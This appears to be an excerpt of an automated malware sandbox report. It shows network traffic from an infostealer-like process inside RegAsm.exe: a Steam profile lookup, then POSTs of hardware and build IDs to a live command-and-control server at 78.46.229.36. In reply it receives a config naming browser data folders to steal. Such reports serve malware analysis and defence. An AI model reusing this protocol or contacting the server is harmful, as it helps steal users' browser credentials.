Mar 28, 2024 08:36:17.516968966 CET	443	49728	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:17.517031908 CET	49728	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:17.517052889 CET	443	49728	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:17.517093897 CET	49728	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:17.517110109 CET	49728	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:17.640765905 CET	443	49728	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:17.640793085 CET	443	49728	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:17.640918970 CET	49728	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:17.640942097 CET	443	49728	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:17.645406008 CET	49728	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:17.728610992 CET	443	49728	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:17.728631973 CET	443	49728	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:17.728738070 CET	49728	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:17.728748083 CET	443	49728	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:17.728813887 CET	49728	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:17.782381058 CET	443	49728	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:17.782435894 CET	443	49728	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:17.782484055 CET	443	49728	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:17.782505989 CET	49728	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:17.782587051 CET	49728	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:18.551326036 CET	49728	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:18.551362038 CET	443	49728	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:18.791094065 CET	49729	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:18.791126013 CET	443	49729	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:18.791239977 CET	49729	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:18.791536093 CET	49729	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:18.791551113 CET	443	49729	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:19.173033953 CET	443	49729	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:19.173238993 CET	49729	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:19.173716068 CET	49729	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:19.173724890 CET	443	49729	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:19.173945904 CET	49729	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:19.173950911 CET	443	49729	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:19.173988104 CET	49729	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:19.173993111 CET	443	49729	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:20.000447035 CET	443	49729	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:20.000521898 CET	49729	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:20.000530958 CET	443	49729	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:20.000572920 CET	49729	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:20.001364946 CET	49729	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:20.001384974 CET	443	49729	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:20.107450008 CET	49730	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:20.107486010 CET	443	49730	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:20.107579947 CET	49730	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:20.107794046 CET	49730	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:20.107806921 CET	443	49730	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:20.488159895 CET	443	49730	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:20.488267899 CET	49730	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:20.488846064 CET	49730	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:20.488856077 CET	443	49730	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:20.489046097 CET	49730	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:20.489057064 CET	443	49730	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:21.185163975 CET	443	49730	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:21.185189009 CET	443	49730	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:21.185255051 CET	443	49730	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:21.185256004 CET	49730	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:21.185450077 CET	49730	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:21.186052084 CET	49730	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:21.186075926 CET	443	49730	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:21.189117908 CET	49731	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:21.189161062 CET	443	49731	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:21.189235926 CET	49731	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:21.189438105 CET	49731	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:21.189455032 CET	443	49731	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:21.569314957 CET	443	49731	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:21.569376945 CET	49731	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:21.576895952 CET	49731	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:21.576919079 CET	443	49731	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:21.577358007 CET	49731	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:21.577364922 CET	443	49731	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:22.273665905 CET	443	49731	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:22.273741007 CET	443	49731	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:22.273740053 CET	49731	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:22.273785114 CET	49731	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:22.274018049 CET	49731	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:22.274034977 CET	443	49731	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:22.289850950 CET	49732	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:22.289894104 CET	443	49732	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:22.290086985 CET	49732	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:22.290286064 CET	49732	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:22.290297031 CET	443	49732	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:22.674619913 CET	443	49732	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:22.674925089 CET	49732	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:22.675379992 CET	49732	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:22.675390005 CET	443	49732	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:22.675590038 CET	49732	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:22.675595045 CET	443	49732	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:23.361139059 CET	443	49732	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:23.361207008 CET	49732	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:23.361228943 CET	443	49732	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:23.361243010 CET	443	49732	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:23.361273050 CET	49732	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:23.361298084 CET	49732	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:23.362272978 CET	49732	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:23.362293959 CET	443	49732	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:24.348304987 CET	49733	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:24.348361969 CET	443	49733	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:24.348445892 CET	49733	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:24.348840952 CET	49733	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:24.348855972 CET	443	49733	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:24.728931904 CET	443	49733	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:24.729067087 CET	49733	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:24.729536057 CET	49733	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:24.729546070 CET	443	49733	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:24.729742050 CET	49733	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:24.729748011 CET	443	49733	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:24.729823112 CET	49733	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:24.729840994 CET	443	49733	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:24.729890108 CET	49733	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:24.729893923 CET	443	49733	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:24.729928970 CET	49733	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:24.729939938 CET	443	49733	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:24.729986906 CET	49733	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:24.729995966 CET	443	49733	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:24.730073929 CET	49733	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:24.730079889 CET	443	49733	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:24.730128050 CET	49733	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:24.730139971 CET	443	49733	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:24.730185986 CET	49733	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:24.730196953 CET	443	49733	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:24.730220079 CET	49733	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:24.730225086 CET	443	49733	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:26.076116085 CET	443	49733	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:26.076200962 CET	443	49733	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:26.076267958 CET	49733	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:26.076309919 CET	49733	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:26.076639891 CET	49733	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:26.076658010 CET	443	49733	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:26.080240011 CET	49734	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:26.080277920 CET	443	49734	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:26.080373049 CET	49734	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:26.080660105 CET	49734	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:26.080676079 CET	443	49734	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:26.460541964 CET	443	49734	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:26.460656881 CET	49734	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:26.461163998 CET	49734	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:26.461179018 CET	443	49734	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:26.461363077 CET	49734	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:26.461369038 CET	443	49734	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:27.189201117 CET	443	49734	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:27.189280033 CET	443	49734	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:27.189287901 CET	49734	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:27.189342022 CET	49734	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:27.189635038 CET	49734	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:27.189655066 CET	443	49734	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:27.191068888 CET	49735	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:27.191107035 CET	443	49735	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:27.191184998 CET	49735	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:27.191392899 CET	49735	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:27.191404104 CET	443	49735	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:27.571394920 CET	443	49735	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:27.571453094 CET	49735	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:27.571945906 CET	49735	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:27.571955919 CET	443	49735	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:27.572305918 CET	49735	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:27.572312117 CET	443	49735	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:28.288134098 CET	443	49735	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:28.288216114 CET	443	49735	78.46.229.36	192.168.2.11
Mar 28, 2024 08:36:28.288232088 CET	49735	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:28.288263083 CET	49735	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:28.288450003 CET	49735	443	192.168.2.11	78.46.229.36
Mar 28, 2024 08:36:28.288467884 CET	443	49735	78.46.229.36	192.168.2.11

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 28, 2024 08:35:53.749475956 CET	59750	53	192.168.2.11	1.1.1.1
Mar 28, 2024 08:35:53.845159054 CET	53	59750	1.1.1.1	192.168.2.11

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 28, 2024 08:35:53.749475956 CET	192.168.2.11	1.1.1.1	0x561e	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 28, 2024 08:35:53.845159054 CET	1.1.1.1	192.168.2.11	0x561e	No error (0)	steamcommunity.com		23.47.27.74	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

steamcommunity.com

78.46.229.36

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.11	49707	23.47.27.74	443	7696	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 07:35:54 UTC	119	OUT	GET /profiles/76561199658817715 HTTP/1.1 Host: steamcommunity.com Connection: Keep-Alive Cache-Control: no-cache
2024-03-28 07:35:54 UTC	1882	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Thu, 28 Mar 2024 07:35:54 GMT Content-Length: 34657 Connection: close Set-Cookie: sessionid=ba955b8810248ad67bdb0fc8; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C4501bef07644d0152615a97beef5c423; Path=/; Secure; HttpOnly; SameSite=None
2024-03-28 07:35:54 UTC	14502	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-03-28 07:35:54 UTC	10074	IN	Data Raw: 27 23 67 6c 6f 62 61 6c 5f 68 65 61 64 65 72 20 2e 73 75 70 65 72 6e 61 76 5f 63 6f 6e 74 61 69 6e 65 72 27 2c 20 27 63 6f 72 72 65 63 74 46 6f 72 53 63 72 65 65 6e 53 69 7a 65 27 3a 20 66 61 6c 73 65 7d 29 3b 0d 0a 09 09 7d 29 3b 0d 0a 09 3c 2f 73 63 72 69 70 74 3e 0d 0a 0d 0a 09 09 3c 64 69 76 20 69 64 3d 22 67 6c 6f 62 61 6c 5f 61 63 74 69 6f 6e 73 22 3e 0d 0a 09 09 09 3c 64 69 76 20 72 6f 6c 65 3d 22 6e 61 76 69 67 61 74 69 6f 6e 22 20 69 64 3d 22 67 6c 6f 62 61 6c 5f 61 63 74 69 6f 6e 5f 6d 65 6e 75 22 20 61 72 69 61 2d 6c 61 62 65 6c 3d 22 41 63 63 6f 75 6e 74 20 4d 65 6e 75 22 3e 0d 0a 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 68 65 61 64 65 72 5f 69 6e 73 74 61 6c 6c 73 74 65 61 6d 5f 62 74 6e 20 68 65 61 64 65 72 5f 69 6e 73 74 61 Data Ascii: '#global_header .supernav_container', 'correctForScreenSize': false});});</script><div id="global_actions"><div role="navigation" id="global_action_menu" aria-label="Account Menu"><a class="header_installsteam_btn header_insta
2024-03-28 07:35:54 UTC	10081	IN	Data Raw: 3a 5c 2f 5c 2f 73 74 6f 72 65 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 50 55 42 4c 49 43 5f 53 48 41 52 45 44 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 63 6f 6d 6d 75 6e 69 74 79 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 70 75 62 6c 69 63 5c 2f 73 68 61 72 65 64 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 43 4f 4d 4d 55 4e 49 54 59 5f 42 41 53 45 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 43 48 41 54 5f 42 41 53 45 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 Data Ascii: :\/\/store.cloudflare.steamstatic.com\/","PUBLIC_SHARED_URL":"https:\/\/community.cloudflare.steamstatic.com\/public\/shared\/","COMMUNITY_BASE_URL":"https:\/\/steamcommunity.com\/","CHAT_BASE_URL":&q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.11	49708	78.46.229.36	443	7696	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 07:35:55 UTC	218	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Host: 78.46.229.36 Connection: Keep-Alive Cache-Control: no-cache
2024-03-28 07:35:55 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 07:35:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-03-28 07:35:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.11	49709	78.46.229.36	443	7696	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 07:35:55 UTC	310	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCAEHJJKFCAAFHJKFBKK User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Host: 78.46.229.36 Content-Length: 279 Connection: Keep-Alive Cache-Control: no-cache
2024-03-28 07:35:55 UTC	279	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 43 41 45 48 4a 4a 4b 46 43 41 41 46 48 4a 4b 46 42 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 39 44 46 31 32 32 34 33 45 33 42 33 30 32 33 30 31 31 38 35 39 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 2d 31 31 65 65 2d 38 63 31 38 2d 38 30 36 65 36 66 36 65 36 39 36 33 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 48 4a 4a 4b 46 43 41 41 46 48 4a 4b 46 42 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 32 66 35 34 64 39 33 31 31 38 31 38 38 30 31 33 66 32 33 38 36 65 65 66 37 65 35 63 63 30 35 0d 0a 2d 2d 2d 2d 2d 2d Data Ascii: ------HCAEHJJKFCAAFHJKFBKKContent-Disposition: form-data; name="hwid"49DF12243E3B3023011859-a33c7340-61ca-11ee-8c18-806e6f6e6963------HCAEHJJKFCAAFHJKFBKKContent-Disposition: form-data; name="build_id"72f54d93118188013f2386eef7e5cc05------
2024-03-28 07:35:56 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 07:35:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-03-28 07:35:56 UTC	67	IN	Data Raw: 33 38 0d 0a 31 7c 31 7c 31 7c 30 7c 38 66 64 34 34 37 38 34 63 30 37 32 61 35 37 32 33 35 63 33 37 32 35 37 36 33 62 39 32 38 37 61 7c 31 7c 31 7c 31 7c 30 7c 30 7c 35 30 30 30 30 0d 0a 30 0d 0a 0d 0a Data Ascii: 381\|1\|1\|0\|8fd44784c072a57235c3725763b9287a\|1\|1\|1\|0\|0\|500000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.11	49710	78.46.229.36	443	7696	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 07:35:57 UTC	310	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGCFBGDHJKFIEBFIECGH User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Host: 78.46.229.36 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-03-28 07:35:57 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 47 43 46 42 47 44 48 4a 4b 46 49 45 42 46 49 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 66 64 34 34 37 38 34 63 30 37 32 61 35 37 32 33 35 63 33 37 32 35 37 36 33 62 39 32 38 37 61 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 46 42 47 44 48 4a 4b 46 49 45 42 46 49 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 32 66 35 34 64 39 33 31 31 38 31 38 38 30 31 33 66 32 33 38 36 65 65 66 37 65 35 63 63 30 35 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 46 42 47 44 48 4a 4b 46 49 45 42 46 49 45 43 47 48 0d 0a 43 6f 6e 74 Data Ascii: ------BGCFBGDHJKFIEBFIECGHContent-Disposition: form-data; name="token"8fd44784c072a57235c3725763b9287a------BGCFBGDHJKFIEBFIECGHContent-Disposition: form-data; name="build_id"72f54d93118188013f2386eef7e5cc05------BGCFBGDHJKFIEBFIECGHCont
2024-03-28 07:35:57 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 07:35:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-03-28 07:35:57 UTC	1564	IN	Data Raw: 36 31 30 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4e 6f 63 6d 39 74 61 58 56 74 66 46 78 44 61 48 4a 76 62 57 6c 31 62 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 52 76 63 6d 4e 6f 66 46 78 55 62 33 4a 6a 61 46 78 56 63 32 56 79 49 45 Data Ascii: 610R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfENocm9taXVtfFxDaHJvbWl1bVxVc2VyIERhdGF8Y2hyb21lfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfFRvcmNofFxUb3JjaFxVc2VyIE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.11	49711	78.46.229.36	443	7696	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
